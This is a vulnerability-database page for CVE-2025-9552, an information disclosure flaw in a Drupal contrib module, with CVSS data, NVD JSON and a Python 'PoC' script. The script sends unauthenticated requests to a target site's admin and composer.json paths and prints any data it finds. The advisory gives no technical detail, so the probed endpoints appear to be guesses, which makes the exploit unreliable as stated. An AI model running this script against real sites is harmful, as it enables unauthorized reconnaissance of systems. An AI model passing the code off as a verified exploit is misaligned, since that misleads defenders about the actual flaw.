Security Vulnerability Report
中文
CVE-2025-9552 CVSS 5.3 MEDIUM

CVE-2025-9552

Published: 2025-10-10 23:15:37
Last Modified: 2026-01-05 15:36:15

Description

Vulnerability in Drupal Synchronize composer.Json With Contrib Modules.This issue affects Synchronize composer.Json With Contrib Modules: *.*.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:synchronize_composer.json_with_contrib_modules_project:synchronize_composer.json_with_contrib_modules:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal Synchronize composer.Json With Contrib Modules *.* (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9552 PoC - Drupal Synchronize composer.Json Information Disclosure # Vulnerability: Information Disclosure via Synchronize composer.Json With Contrib Modules # CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-drupal-site.com" def exploit_info_disclosure(target): """ Exploit information disclosure vulnerability in Drupal Synchronize composer.Json With Contrib Modules """ session = requests.Session() # Step 1: Access the vulnerable endpoint without authentication endpoints = [ f"{target}/admin/config/development/sync_composer_json", f"{target}/sync-composer-json/status", f"{target}/admin/modules/sync-composer-json", f"{target}/composer.json", f"{target}/sites/default/files/composer.json", ] for endpoint in endpoints: try: response = session.get(endpoint, timeout=10, allow_redirects=False) if response.status_code == 200: print(f"[+] Accessible endpoint found: {endpoint}") print(f"[+] Response length: {len(response.text)}") # Extract sensitive information from response if 'composer' in response.text.lower(): print(f"[+] Composer data exposed!") # Parse and display relevant info if '"name"' in response.text: print(f"[+] Package information disclosed") if '"version"' in response.text: print(f"[+] Version information disclosed") if '"require"' in response.text: print(f"[+] Dependency information disclosed") return response.text except requests.exceptions.RequestException as e: continue return None def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-9552""" print(f"[*] Testing {target} for CVE-2025-9552...") result = exploit_info_disclosure(target) if result: print(f"[!] Target appears to be VULNERABLE") print(f"[*] Disclosed data preview:\n{result[:500]}") else: print(f"[-] Target does not appear vulnerable or is patched") if __name__ == "__main__": check_vulnerability(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9552", "sourceIdentifier": "[email protected]", "published": "2025-10-10T23:15:37.413", "lastModified": "2026-01-05T15:36:15.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in Drupal Synchronize composer.Json With Contrib Modules.This issue affects Synchronize composer.Json With Contrib Modules: *.*."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:synchronize_composer.json_with_contrib_modules_project:synchronize_composer.json_with_contrib_modules:*:*:*:*:*:drupal:*:*", "matchCriteriaId": "47318A39-604F-4028-8422-D5CA5076C211"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-102", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}